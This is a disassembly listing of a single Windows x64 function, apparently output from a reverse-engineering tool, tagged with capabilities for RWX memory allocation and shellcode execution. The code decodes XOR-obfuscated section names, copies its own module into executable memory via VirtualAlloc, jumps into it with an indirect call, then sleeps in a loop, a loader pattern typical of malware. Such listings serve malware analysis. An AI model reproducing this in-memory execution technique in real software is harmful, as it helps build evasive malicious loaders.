Function at 0x1407ae720
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14084f1c0]
xor rax, rsp
mov qword [rbp + 0x30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], 0
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1407ad9c0
test al, al
jne 0x1407ae7c3
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1407ae9cd
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407ae9c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1407ae9c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, dword [0x14082be40]
mov dword [rsp + 0x20], eax
movzx eax, word [0x14082be44]
mov word [rsp + 0x24], ax
mov byte [rsp + 0x20], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x21], 0x34
xor byte [rsp + 0x22], 0x35
xor byte [rsp + 0x23], 0x36
xor al, 0x37
mov byte [rsp + 0x24], al
xor byte [rsp + 0x25], 0x38
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1407adb70
mov r14, rax
mov ecx, dword [0x14082be48]
mov dword [rsp + 0x30], ecx
movzx edx, word [0x14082be4c]
mov word [rsp + 0x34], dx
movzx ecx, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x30], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x31], 0x34
xor byte [rsp + 0x32], 0x35
xor byte [rsp + 0x33], 0x36
xor dl, 0x37
mov byte [rsp + 0x34], dl
xor byte [rsp + 0x35], 0x38
xor cl, 0x39
mov byte [rsp + 0x36], cl
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.1407adb70
mov rdi, rax
mov ecx, dword [0x14082be50]
mov dword [rsp + 0x28], ecx
movzx ecx, word [0x14082be54]
mov word [rsp + 0x2c], cx
mov byte [rsp + 0x28], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x29], 0x34
xor byte [rsp + 0x2a], 0x35
xor byte [rsp + 0x2b], 0x36
xor cl, 0x37
mov byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], 0x38
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x40]
call fcn.1407adb70
mov rsi, rax
test r14, r14
je 0x1407ae98c
cmp r14, rdi
jae 0x1407ae98c
cmp rdi, rax
jae 0x1407ae98c
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
mov eax, dword [rdi + 0xc]
mov rcx, qword [rbp + 0x28]
div ecx
test edx, edx
jne 0x1407ae8ec
xor edx, edx
mov eax, dword [rsi + 0xc]
div ecx
test edx, edx
jne 0x1407ae8ec
mov dil, 1
jmp 0x1407ae8ef
xor dil, dil
lea rcx, [rsp + 0x40]
call fcn.1407adc60
test dil, dil
je 0x1407ae9cd
mov rcx, rbx
call fcn.1407adbe0
mov esi, eax
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1407ae97d
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rdx, rdi
sub rdx, rbx
lea rax, [0x1407adcd0]
add rdx, rax
mov rcx, rdi
call rdx
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rbx
call fcn.1407ae4c0
nop word [rax + rax]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1407ae970
cmp rbx, 1
jne 0x1407ae988
call fcn.1407acfb0
xor eax, eax
jmp 0x1407ae9cd
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x1407ae9cd
mov rdx, qword [rbp - 0x10]
sub rdx, rcx
and rdx, 0xfffffffffffffff8
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407ae9c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1407ae9c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140813498
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.140813980
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret